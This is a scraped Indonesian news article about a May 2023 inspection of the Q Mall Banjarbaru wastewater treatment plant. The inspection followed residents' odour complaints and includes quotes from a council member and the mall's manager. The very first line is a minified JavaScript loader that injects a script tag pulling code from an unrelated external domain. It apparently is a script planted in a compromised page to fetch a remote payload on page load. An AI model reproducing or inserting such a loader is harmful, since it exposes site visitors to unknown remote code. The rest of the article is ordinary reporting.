(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi III DPRD Banjarbaru bersama Dinas Lingkungan Hidup (DLH) Banjarbaru cek lokasi Instalasi Pengolahan Air Limbah (IPAL) Q Mall Banjarbaru, Selasa (9/5/2023).
Cek lokasi dilakukan menyusul laporan warga soal bau dari IPAL Q Mall Banjarbaru.
Ketua Komisi III DPRD Banjarbaru Emi Lasari mengatakan, pemeriksaan merupakan tindak lanjut pertemuan DLH dan manajemen Q Mall Banjarbaru pada Agustus 2022 lalu, terkait keluhan warga soal saluran limbah yang diduga cemari sungai di belakang pusat perbelanjaan modern.
Karena itu, pihaknya sengaja turun ke lapangan untuk meninjau langsung bagaimana perkembangan kondisi pengelolaan air limbahnya.
“Masalah bau dilaporkan masih jadi persoalan. Bau tak sedap itu masih cukup menyengat dirasakan, terutama di jam tertentu,” ujarnya
Baca juga: Pemko Raih Opini WTP Kali ke-8, Ini Respon Ketua DPRD Banjarbaru
Berdasarkan keluhan, bau dari IPAL 1 yang cukup dekat dengan permukiman warga masih dirasakan, terlebih saat turun hujan.
“Kita sudah minta DLH mengambil sampel air limbahnya untuk menguji baku mutu air limbah yang dibuang mall ini,” ujarnya.
Emi meminta, warga yang bersangkutan menunggu hasil baku mutu airnya pada uji laboratorium.
“Setelah hasilnya keluar, baru kita bicara lagi,” lugasnya.
Pihaknya memberi waktu kepada manajemen untuk segera memperbaiki pengelolaan limbah sampai bulan Juni 2023. Lantaran manajemen Q Mall Banjarbaru sudah dua kali mendapatkan teguran.
Baca juga: Banjarbaru Tuan Rumah MTQ XXXIV Tingkat Provinsi Kalsel, Ini Tanggal Pelaksanaannya
“Kalau mereka tidak bisa mengatasi, DLH wajib menindak tegas pengelola mall. Karena persoalan limbah ini sangat serius,” tegas Emi.
Komisi III akan mengecek kesesuaian dokumen Amdal yang dimiliki Q Mall dari hasil sidak ke permukiman warga Kelurahan Sungai Ulin.
General Manager Q Mall Banjarbaru Andi Indrawangsa menjelaskan, bau tak sedap yang dikeluhkan warga tersebut bersumber dari IPAL 1. Dia mengakui IPAL 1 pengelolaan limbahnya masih belum maksimal .
“Kita bisa lihat sendiri memang masih ada aroma tak sedap. Karena masih 30 persen penanganan bakteri limbahnya. Dan ini masih memerlukan waktu yang panjang sampai penanganan limbahnya 100 persen,” ungkapnya.
Sedangkan IPAL 2 diklaimnya sudah bagus dan layak untuk dibuang ke sungai, walaupun masih belum mencapai 70 persen penanganan bakterinya.
“Dalam dua minggu kedepan penanganan bakteri limbah baik di IPAL 1 dan 2 bisa sampai di angka 60 sampai 70 persen,” janjinya.
“Sekarang kita terus genjot supaya limbah yang dihasilkan bisa berada di atas angka 70 persen dan aman untuk dibuang ke sungai,” tandasnya. (Kanalkalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.